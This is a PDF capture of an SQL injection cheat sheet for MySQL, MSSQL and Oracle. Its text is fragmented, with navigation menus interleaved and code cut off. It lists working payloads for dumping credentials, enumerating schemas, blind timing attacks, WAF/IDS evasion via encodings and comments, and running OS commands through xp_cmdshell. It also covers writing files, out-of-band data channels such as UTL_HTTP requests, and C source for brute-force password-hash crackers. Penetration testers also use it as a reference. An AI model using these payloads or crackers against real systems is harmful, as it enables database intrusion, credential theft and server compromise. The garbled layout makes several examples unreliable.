The SQL Injection Knowledge Base
The SQL Injection Knowledge Base
MySQL
Default Databases
MySQL
Testing Injection
Comment Out Query
Default Databases
Testing Version
Database Credentials
Database Names mysql Requires root privileges
Server Hostname information_schema Availalble from version 5 and higher
Server MAC Address
Tables and Columns
Avoiding quotations Testing Injection
String concatenation
Conditional
Statements
False means the query is invalid (MySQL errors/missing content on
website)
Timing
Privileges
True means the query is valid (content is displayed as usual)
Reading Files
Writing Files
Out of band
channeling Strings Numeric In a login
Stacked Queries
MySQL-specific code
Fuzzing and
Obfuscation Given the query SELECT * FROM Table WHERE id =
Operators '1';
Constants
Password Hashing ' False
Password Cracking
'' True
Extras \ False
\\ True
Examples:
Notes:
[Link] 1/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
MSSQL
Variables Specific Code
ORACLE
Extras
VERSION()
@@VERSION
@@[Link]
Example:
Note:
[Link] 2/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Database Credentials
MySQL
Default Databases Table [Link]
Testing Injection
Columns user, password
Comment Out Query
Testing Version user(), current_user(), current_use
Current User r, system_user(), session_user()
Database Credentials
Database Names
Server Hostname Examples:
Server MAC Address
Tables and Columns
SELECT current_user;
Avoiding quotations
SELECT CONCAT_WS(0x3A, user, password) FROM [Link]
String concatenation
WHERE user = 'root'-- (Privileged)
Conditional
Statements
Timing
Privileges Database Names
Reading Files
Writing Files information_schema.schemata, mysql.
Tables
Out of band db
channeling
Stacked Queries Columns schema_name, db
@@HOSTNAME
Example:
SELECT @@hostname;
UUID()
Output:
[Link] 3/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
MySQL
Default Databases Note:
Testing Injection
Comment Out Query May return a 48-bit random string instead of the MAC address on
Testing Version some Operating Systems.
Database Credentials
Database Names
Server Hostname Tables and Columns
Server MAC Address
Tables and Columns Determining number of columns
Avoiding quotations
String concatenation
Conditional
Statements Order/Group By Error Based
Timing
Privileges
Reading Files
Error Based 2 Error Based 3
Writing Files
Out of band
channeling
Stacked Queries
GROUP/ORDER BY n+1;
MySQL-specific code
Fuzzing and
Notes:
Obfuscation
Operators
Keep incrementing the number until you get a False
Constants
response.
Password Hashing
Password Cracking Even though GROUP BY and ORDER BY have different
funcionality in SQL, they both can be used in the exact
MSSQL same fashion to determine the number of columns in the
query.
ORACLE
Extras
Example:
Retrieving Tables
[Link] 4/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Output:
[Link] 5/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
[ information_schema ] >COLLATIONS > IS_COMPILED
MySQL
Default Databases
Testing Injection
Comment Out Query
Testing Version
SELECT MID(GROUP_CONCAT(0x3c62723e,
Database Credentials
0x5461626c653a20, table_name, 0x3c62723e,
0x436f6c756d6e3a20, column_name ORDER BY
Database Names
Server Hostname
(SELECT version FROM information_schema.tables)
SEPARATOR 0x3c62723e),1,1024) FROM
Server MAC Address
information_schema.columns
Tables and Columns
Avoiding quotations
String concatenation
Conditional Example:
Statements
Timing SELECT username FROM Users WHERE id = '-1' UNION
Privileges SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20,
Reading Files table_name, 0x3c62723e, 0x436f6c756d6e3a20,
Writing Files column_name ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR
Out of band
channeling
0x3c62723e),1,1024) FROM information_schema.columns--
+';
Stacked Queries
MySQL-specific code
Fuzzing and
Obfuscation Output:
Operators
Constants
Table: talk_revisions
Password Hashing
Column: revid
Password Cracking
Table: talk_revisions
Column: userid
MSSQL
ORACLE Table: talk_revisions
Column: user
Extras
Table: talk_projects
Column: priority
[Link] 6/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
String concatenation
Conditional
Statements String Concatenation
Timing
Privileges SELECT 'a' 'd' 'mi' 'n';
Reading Files
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
Writing Files
Out of band SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
channeling
Stacked Queries SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
MySQL-specific code
Fuzzing and Notes:
Obfuscation
Operators
CONCAT() will return NULL if any of its arguements is NULL.
Constants
Instead use CONCAT_WS().
Password Hashing
Password Cracking The first argument of CONCAT_WS() defines the separator for the
rest of its arguments.
MSSQL
ORACLE Conditional Statements
Extras
CASE
IF()
IFNULL()
NULLIF()
Examples:
Timing
SLEEP() MySQL 5
Example:
[Link] 7/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Writing Files
Files can be created if the user has FILE privileges.
INTO OUTFILE/DUMPFILE
Examples:
[Link] 8/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
ORACLE
Extras SMB Requests
Stacked Queries
Stacked queries are possible with MySQL depending on which driver is
being used by the PHP application to communicate with the database.
Examples:
[Link] 9/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
Example:
'%0A%09UNION%0CSELECT%A0NULL%20%23
28 (
[Link] 10/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
29 )
MySQL
Default Databases Example:
Testing Injection
Comment Out Query UNION(SELECT(column)FROM(table))
Testing Version
Database Credentials
Database Names Allowed Intermediary Characters after AND/OR
Server Hostname
Server MAC Address 20 Space
Tables and Columns
2B +
Avoiding quotations
String concatenation 2D -
Conditional
Statements 7E ~
Timing
21 !
Privileges
Reading Files 40 @
Writing Files
Out of band
Example:
channeling
Stacked Queries
MySQL-specific code SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
Fuzzing and
Obfuscation
Note:
Operators
Constants
dual is a dummy table which can be used for testing.
Password Hashing
Password Cracking
Obfuscating with Comments
MSSQL
Comments can be used to break up the query to trick the WAF/IDS and
ORACLE avoid detection. By using # or -- followed by a newline, we can split the
Extras query into separate lines.
Example:
1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#
1'%23%0AAND 0--%0AUNION%23 I am a
comment!%0ASELECT@tmp:=table_name x FROM--
%0A`information_schema`.tables LIMIT 1%23
VERSION/**/%A0 (/*comment*/)
[Link] 11/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Encodings
MySQL
Encoding your injection can sometimes be useful for WAF/IDS evasion.
Default Databases
Testing Injection
SELECT %74able_%6eame FROM informat
Comment Out Query URL Encoding
ion_schema.tables;
Testing Version
SELECT %2574able_%256eame FROM info
Database Credentials Double URL Encoding
rmation_schema.tables;
Database Names
Server Hostname SELECT %u0074able_%u6eame FROM info
Unicode Encoding
Server MAC Address rmation_schema.tables;
Tables and Columns SELECT %tab%le_%na%me FROM informat
Avoiding quotations Invalid Hex Encoding (ASP) ion_schema.tables;
String concatenation
Conditional
Statements Avoiding Keywords
Timing
Privileges If an IDS/WAF has blocked certain keywords, there are other ways of
Reading Files getting around it without using encodings.
Writing Files
Out of band
channeling information_schema.tables
Stacked Queries
MySQL-specific code Spaces information_schema . tables
Fuzzing and
Obfuscation Backticks `information_schema`.`tables`
Operators
Specific Code /*!information_schema.tables*/
Constants
Password Hashing information_schema.partitions
Password Cracking information_schema.statistics
Alternative Names information_schema.key_column_usage
information_schema.table_constraint
MSSQL s
ORACLE
Note:
Extras
The alternate names may depend on a PRIMARY Key being present
in the table.
Operators
AND , && Logical AND
:= Assign a value
BETWEEN ... AND ... Check whether a value is within a range of values
~ Invert bits
| Bitwise OR
^ Bitwise XOR
[Link] 12/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
|| , OR Logical OR
+ Addition operator
* Multiplication operator
Constants
current_user
null, \N
[Link] 13/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
true, false
MySQL
Default Databases Password Hashing
Testing Injection
Comment Out Query
Prior to MySQL 4.1, password hashes computed by the PASSWORD()
Testing Version
function are 16 bytes long. Such hashes look like this:
Database Credentials
Database Names
PASSWORD('mypass') 6f8c114b58f2ce9e
Server Hostname
Server MAC Address
Tables and Columns As of MySQL 4.1, the PASSWORD() function has been modified to
Avoiding quotations produce a longer 41-byte hash value:
String concatenation
Conditional *6C8989366EAF75BB670AD8EA7A7FC1176A
PASSWORD('mypass')
Statements 95CEF4
Timing
Privileges
Reading Files
Password Cracking
Writing Files
Out of band Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-
channeling 6.x passwords.
Stacked Queries
MySQL-specific code A Metasploit module for JTR can be found here.
Fuzzing and
Obfuscation MySQL < 4.1 Password Cracker
Operators
Constants
This tool is a high-speed brute-force password cracker for MySQL hashed
Password Hashing
passwords. It can break an 8-character password containing any printable
Password Cracking
ASCII characters in a matter of hours on an ordinary PC.
MSSQL
/* This program is public domain. Share and enjoy.
ORACLE *
* Example:
Extras * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/
#include <stdio.h>
return 0;
}
[Link] 15/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
MySQL if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
Default Databases putchar(pass[i]);
Testing Injection putchar('\n');
break;
Comment Out Query
}
Testing Version }
Database Credentials if (len > MAX_LEN)
printf("Pass not found\n");
Database Names }
Server Hostname
int main(int argc, char *argv[])
Server MAC Address {
Tables and Columns int i;
if (argc <= 1)
Avoiding quotations
printf("usage: %s hash\n", argv[0]);
String concatenation for (i = 1; i < argc; i++)
Conditional crack(argv[i]);
return 0;
Statements
}
Timing
Privileges
Reading Files
Writing Files
Out of band
MSSQL
channeling
Stacked Queries
MySQL-specific code
Default Databases
Fuzzing and
Obfuscation pubs Not available on MSSQL 2005
Operators
Constants
model Available in all versions
/* C-style comment
-- SQL comment
;%00 Nullbyte
Example:
Testing Version
[Link] 16/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
@@VERSION
MySQL
Default Databases
Testing Injection Example:
Comment Out Query
Testing Version
True if MSSQL version is 2008.
Database Credentials
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE
Database Names
'%2008%';
Server Hostname
Server MAC Address
Tables and Columns Note:
Avoiding quotations
String concatenation Output will also contain the version of the Windows Operating
Conditional System.
Statements
Timing
Privileges Database Credentials
Reading Files
Writing Files master..syslogins, master..sysproce
Database..Table
Out of band sses
channeling
Stacked Queries Columns name, loginame
Database Names
[Link] master..sysdatabases
Column name
Current DB DB_NAME(i)
Examples:
SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;
Server Hostname
[Link] 17/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
@@SERVERNAME
MySQL SERVERPROPERTY()
Default Databases
Testing Injection Examples:
Comment Out Query
Testing Version
SELECT SERVERPROPERTY('productversion'),
Database Credentials SERVERPROPERTY('productlevel'),
Database Names SERVERPROPERTY('edition');
Server Hostname
Server MAC Address
Tables and Columns Note:
Avoiding quotations
String concatenation SERVERPROPERTY() is available from MSSQL 2005 and higher.
Conditional
Statements
Timing
Tables and Columns
Privileges
Reading Files Determining number of columns
Writing Files
Out of band
channeling
ORDER BY n+1;
Stacked Queries
MySQL-specific code
Fuzzing and Example:
Obfuscation
Operators
Constants Given the query: SELECT username, password, permission FROM
Users WHERE id = '1';
Password Hashing
Password Cracking
1' ORDER BY 1-- True
Note:
The following can be used to get the columns in the current query.
GROUP BY / HAVING
Example:
[Link] 18/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
MSSQL
ORACLE
Note:
Extras
Xtype = 'U' is for User-defined tables. You can use 'V' for views.
Retrieving Columns
[Link] 19/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
String Concatenation
SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';
Conditional Statements
IF
CASE
Examples:
[Link] 20/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Operators
Constants
Password Hashing
System Command Execution
Password Cracking
Include an extended stored procedure named xp_cmdshell that can be
MSSQL used to execute operating system commands.
ORACLE
EXEC [Link].xp_cmdshell 'cmd';
Extras
Alternatively, you can create your own procedure to achieve the same
results:
[Link] 21/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Dump Content:
' UNION SELECT tbl FROM TMP_DB--
Delete Table:
' DROP TABLE TMP_DB--
SP_PASSWORD
Example:
[Link] 22/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
05 Enquiry
06 Acknowledge
07 Bell
08 Backspace
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
0E Shift Out
0F Shift In
11 Device Control 1
[Link] 23/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
12 Device Control 2
MySQL 13 Device Control 3
Default Databases
14 Device Control 4
Testing Injection
Comment Out Query 15 Negative Acknowledge
Testing Version
16 Synchronous Idle
Database Credentials
Database Names 17 End of Transmission Block
Server Hostname
18 Cancel
Server MAC Address
Tables and Columns 19 End of Medium
Avoiding quotations
String concatenation 1A Substitute
Conditional 1B Escape
Statements
Timing 1C File Separator
Privileges
1D Group Separator
Reading Files
Writing Files 1E Record Separator
Out of band
channeling 1F Unit Separator
Stacked Queries
20 Space
MySQL-specific code
Fuzzing and 25 %
Obfuscation
Operators
Constants
Examples:
Password Hashing
Password Cracking S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;
MSSQL
ORACLE Note:
Extras The percentage signs in between keywords is only possible on
ASP(x) web applications.
The following characters can be also used to avoid the use of spaces.
22 "
28 (
29 )
5B [
5D ]
Examples:
UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];
[Link] 24/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
%26%2365%3B%26%2378%3B%26%2368%3B%2
HTML Entities (Needs to be verified) 6%2332%3B%26%2349%3B%26%2361%3B%26%
2349%3B
Password Hashing
Passwords begin with 0x0100, the first for bytes following the 0x are a
constant; the next eight bytes are the hash salt and the remaining 80
bytes are two hashes, the first 40 bytes are a case-sensitive hash of the
password, while the second 40 bytes are the uppercase version.
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C078
4B911D76BF4EB124550ACABDFD1457
Password Cracking
[Link] 25/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
[Link] 27/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
MySQL // Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
Default Databases x = (unsigned char) t;
Testing Injection uwttf[cnt]=x;
cnt++;
Comment Out Query
t = key << 8;
Testing Version t = t >> 24;
Database Credentials x = (unsigned char) t;
uwttf[cnt]=x;
Database Names cnt++;
Server Hostname t = key << 16;
t = t >> 24;
Server MAC Address x = (unsigned char) t;
Tables and Columns uwttf[cnt]=x;
cnt++;
Avoiding quotations
t = key << 24;
String concatenation t = t >> 24;
Conditional x = (unsigned char) t;
uwttf[cnt]=x;
Statements
cnt++;
Timing // Create the hash
Privileges if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
Reading Files printf("Error %x during CryptCreatHash!\n", GetLastError());
Writing Files return 0;
}
Out of band if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
channeling {
Stacked Queries printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
MySQL-specific code }
Fuzzing and CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
Obfuscation // Test the first byte only. Much quicker.
if(szhash[0] == cmp)
Operators {
Constants // If first byte matches try the rest
ptr = pucase;
Password Hashing cnt = 1;
Password Cracking while(cnt < 20)
{
ptr = ptr + 2;
MSSQL strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
ORACLE if(szhash[cnt]==cmp)
cnt ++;
Extras else
{
break;
}
}
if(cnt == 20)
{
// We've found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
Oracle
Default Databases
SYSTEM Available in all versions
[Link] 28/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Database Names
Current Database
User Databases
[Link] 29/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
Server Hostname
MySQL
Default Databases SELECT host_name FROM v$instance; (Privileged)
Testing Injection
SELECT UTL_INADDR.get_host_name FROM dual;
Comment Out Query
Testing Version SELECT UTL_INADDR.get_host_name('[Link]') FROM dual;
Database Credentials
SELECT UTL_INADDR.get_host_address FROM dual;
Database Names
Server Hostname
Server MAC Address
Tables and Columns
Tables and Columns
Avoiding quotations
String concatenation Retrieving Tables
Conditional
Statements SELECT table_name FROM all_tables;
Timing
Privileges
Reading Files Retrieving Columns
Writing Files
Out of band SELECT column_name FROM all_tab_columns;
channeling
Stacked Queries
MySQL-specific code Find Tables from Column Name
Fuzzing and
Obfuscation SELECT column_name FROM all_tab_columns WHERE table_name = 'User
Operators s';
Constants
Password Hashing
Password Cracking Find Columns From Table Name
String Concatenation
SELECT 'a'||'d'||'mi'||'n' FROM dual;
Conditional Statements
[Link] 30/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual
MySQL
Default Databases Timing
Testing Injection
Comment Out Query
Testing Version
Time Delay
Database Credentials
Database Names SELECT UTL_INADDR.get_host_address('[Link]') FR
OM dual;
Server Hostname
Server MAC Address
Tables and Columns Heavy Time Delays
Avoiding quotations
String concatenation
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users
Conditional t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELE
Statements CT username FROM all_users WHERE rownum = 1),1,1));
Timing
Privileges
Reading Files Privileges
Writing Files
Out of band
SELECT privilege FROM session_privs;
channeling
Stacked Queries SELECT grantee, granted_role FROM dba_role_privs; (Privileged)
MySQL-specific code
Fuzzing and
Obfuscation Out Of Band Channeling
Operators
Constants
Password Hashing
DNS Requests
Password Cracking
SELECT UTL_HTTP.REQUEST('[Link] FROM dual;
ORACLE
Extras Password Cracking
A Metasploit module for JTR can be found here.
Extras
About
This Knowledge Base was put together and is maintained by Roberto
Salgado, Co-Founder of Websec. It is a compilation of books, papers,
cheatsheets and testing done by Roberto over the years.
Contact
Please feel free to send any suggestions you may have to @LightOS or e-
mail.
Special Thanks
[Link] 31/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
MSSQL Acknowledgements
ORACLE
A method for retrieving multiple tables/columns at o
Extras Hackforums
nce.
Last Updated
Powered by
[Link] 32/32